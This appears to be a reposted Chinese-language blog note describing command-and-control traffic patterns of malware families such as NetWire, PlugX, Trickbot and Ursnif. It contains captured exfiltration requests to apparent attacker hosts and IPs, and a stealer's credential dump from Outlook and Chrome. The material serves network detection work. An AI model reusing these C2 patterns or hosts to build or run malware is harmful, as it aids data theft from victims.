u’Delivery Store EntryID: x00x00ua138u10bbue505u1a10ubba1x08u2a2buc256x00u736du7370u2e74u6c64lx00x00u494eu4154ubff9u01b8uaa00u3700u6ed9x00x00C:/Users/admin/Documents/Outlook Files/[email protected]′
SMTP Secure Connection: 0
SMTP Server: 192.168.1.1.
Mini UID: 224868084
‘Delivery Folder EntryID: x00x00x00x00x81 xa1x9fx92x06>Nx9cxc7txd9Hxba>fx82x80x00x00’
u’clsid: u457bu3444u3537u3134u2d31u3042u3644u312du4431u2d32u4338u4233u302du3130u3430u3242u3641u3736u7d36′
Display Name: test Mail.
POP3 Password: testpassword.
Email: [email protected]
u’Leave on Server: u3139u3537u3730′

——————- Google chrome passwords —————–

[+] Password found !!!
URL:
Login: [email protected]
Password: testpassword

[+] 3 passwords have been found.
For more information launch it again with the -v option

elapsed time = 2.4423969775

—————————–58748130728276–

HTTP/1.1 200 OK
Date: Tue, 15 Sept 2019 12:08:01 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 1
Content-Type: text/html; charset=UTF-8

NetWire

NetWire的密钥日志文件以模糊的形式存储在受感染的计算机上。很容易发现“4100000099”初始包。流量特征如下

00000000 41 00 00 00 99 80 3a e0 e8 5f d7 ea 8c af 76 cc A…..:. ._….v.
00000010 c2 cc ad 5a 10 72 cc d0 5e 64 d8 50 80 fc b6 e6 …Z.r.. ^d.P….
00000020 54 25 bf e0 ea 7f 7b e4 ff 54 70 e8 eb c0 fa 80 T%….{. .Tp…..
00000030 a0 a0 f3 a0 b0 0a 94 04 84 31 7c 3f e7 8c 90 c5 …….. .1|?….
00000040 ce c2 11 97 d9 …..

Ostap

Ostap是一种商品JScript下载器。流量特征如下

POST /angola/mabutu.php?pi=29h&tan=cezar&z=662343339&n=0&u=20&an=9468863238 HTTP/1.1
Connection: Keep-Alive
Content-Type: text/plain; Charset=UTF-8
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Content-Length: 1034
Host: 185.180.199.91

Microsoft Windows 7 Professional 6.1.7601*Locale:0409
C:UsersadminAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupsent64.jse
USER-PC*DELL*DELL*0

System Idle Process*null
System*null
smss.exe*null
csrss.exe*null
wininit.exe*null
csrss.exe*null
winlogon.exe*null
services.exe*null
lsass.exe*null
lsm.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
spoolsv.exe*null
svchost.exe*null
svchost.exe*null
svchost.exe*null
dwm.exe*C:Windowssystem32Dwm.exe
explorer.exe*C:WindowsExplorer.EXE
taskhost.exe*C:Windowssystem32taskhost.exe
SearchIndexer.exe*null
qemu-ga.exe*null
audiodg.exe*null
WmiPrvSE.exe*null
SearchProtocolHost.exe*null
windanr.exe*C:Windowssystem32windanr.exe
OSPPSVC.EXE*null
wscript.exe*C:Windowssystem32wscript.exe
wscript.exe*C:Windowssystem32wscript.exe
SearchFilterHost.exe*null
WINWORD.EXE*C:Program FilesMicrosoft OfficeOffice14WINWORD.EXE
WmiPrvSE.exe*null

PlugX

RSA将PlugX描述为Rate(RemoteAccess特洛伊木马)恶意软件家族。

POST /update?wd=b0b9d49c HTTP/1.1
Accept: */*
x-debug: 0
x-request: 0
x-content: 61456
x-storage: 1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1;
Host: 192.168.1.44:8080
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache

…………?PEOJNOOBAAHDMKNGELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca.udnudfer.com……………..?JJIOHDOBJEIEIBJJELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca.udnudfer.com……………..?DBCGBLOBDMGFEIEMELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca.udnudfer.com……………..?JJIOHDOBJEIEIBJJELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca.udnudfer.com…………….=.a.gtld-servers.net..nstld.verisign-grs..]..A……… :…Q………….?PEOJNOOBAAHDMKNGELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca.udnudfer.com…………….=.a.gtld-servers.net..nstld.verisign-grs..]..2……… :…Q………….?DBCGBLOBDMGFEIEMELEADFCKBPAEPIONNCMHLMKBJGILHAGFFKEPDECJBOADPHO?MNBMGLLKAJFIKIPHEGJFOEDDICNBCAHPLOANFMKLPKEJJIOHDGIFNECDHCMBBAG.PKOPNEMJMOLDKIJNIC.bca.udnudfer.com…………….=.a.gtld-servers.net..nstld.verisign-grs..]..2……… :…Q.

GET /EF003AAB6425775CD949B40C HTTP/1.1
Accept: */*
Cookie: QhTbeUW+YzYYsZWz0PQvBvYIgo8=
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; SLCC2;)
Host: WOUDERFULU.impresstravel.ga
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 203
Server: nginx
Date: Tue, 02 October 2019 17:32:40 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 660
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Server: ip-172-31-28-245
Set-Cookie: JSESSIONID=4618E9008B004BEE8FE5C81AB063A332; Path=/; HttpOnly

Quasar

Quasar是一个用.NET编写的恶意软件系列。流量特征如下

00000000 40 00 00 00 3e 83 58 08 ad d1 05 8d 77 20 53 1f @…>.X. ….w S.
00000010 dc 2e e8 99 0a f3 f1 bb 3a 8c c2 a1 9d 72 4a 69 …….. :….rJi
00000020 e6 60 97 da 1e 76 87 16 91 f2 1b c2 f4 89 f9 8a .`…v.. ……..
00000030 20 5b 19 e5 7c ae ed f1 b4 5a d2 ce 5f 86 17 20 [..|… .Z.._..
00000040 c6 b3 03 8c

SmokeLoader

SmokeLoader系列是一个通用后门，它的功能范围取决于在任何给定的恶意软件构建中包含的模块。

POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://thankg1.org/
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 299
Host: thankg1.org

..ngl$j.N…$.=..98h…8..XO.(3ET]…p1.Z.Q…..GI.1R..j6……NF`&…..”5..V.~…#.,w……N.V`.gI..0&.
.N.Z…%.b…..V..3H….t..6w…..7.0..
..+………O..`…4..A..wT.F…XM&2.^.Y…………….E.4 W`…….(…..c..^…p……n.z”]….S,[.
……qV4`..Pu*…8W………M .h.v.S.:.

Trickbot

Trickbot有多个模块，包括VNC和Socks 5代理。使用SSL进行C2通信。流量特征如下

GET https://190.154.203.218:449/trg448/JONATHAN-PC_W617601.F330EDDF8E877AF892B08D9522EAD4C6/5/spk/
GET http://54.225.92.64/
GET https://190.154.203.218:449/trg448/JONATHAN-PC_W617601.F330EDDF8E877AF892B08D9522EAD4C6/0/Windows%207%20×64%20SP1/1075/167.88.7.134/77CAB0693C33C9DA65ECB06B990E1B2A0B60E199332E20B769B1041E6155930A/7FPzmRZqhwAAJvgTcFSqNLk/
GET https://190.154.203.218:449/trg448/JONATHAN-PC_W617601.F330EDDF8E877AF892B08D9522EAD4C6/14/user/SYSTEM/0/
GET https://190.154.203.218:449/trg448/JONATHAN-PC_W617601.F330EDDF8E877AF892B08D9522EAD4C6/14/path/C:%5CUsers%5CJonathan%5CAppData%5CRoaming%5CnetRest%5C%E4%BB%BB%E3%81%AF%E3%82%A7%E7%A7%81%E3%81%8D%E7%A7%81%E6%8A%B1%E3%81%9F%E3%82%82%E3%81%A1%E6%84%9B.exe/0/

Ursnif

流量特征如下

POST /images/wsF0B4sp/ZaYjjdVgt73Q1BSOy_2Fofi/qF_2BfPTuK/5Ha_2F0xEvmbSfT_2/FluJ8ZF_2Fx8/g6xkZAZrZwN/2skHgzv92i_2BS/uPf4RDQvATKCgx0GZ5gez/ph_2BLcscLQkKDVw/HGZ6zA6DhGCqgPD/VTX09Q_2FUWIFyWps1/nfJ0I3rIZ/QNKbXjeu7xXa3W_2FZSX/bcWtE2RafXFoRlqL/4EYHwclzkXrfX/58a3.bmp HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary=36775038942641984568
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Content-Length: 399
Host: shoshanna.at

–36775038942641984568
Content-Disposition: form-data; name=”upload_file”; filename=”78C6.bin”

…V.]:.o..–36775038942641984568–

参考链接：https://marcoramili.com/2021/01/09/c2-traffic-patterns-personal-notes/

文章版权归作者所有，未经允许请勿转载。

THE END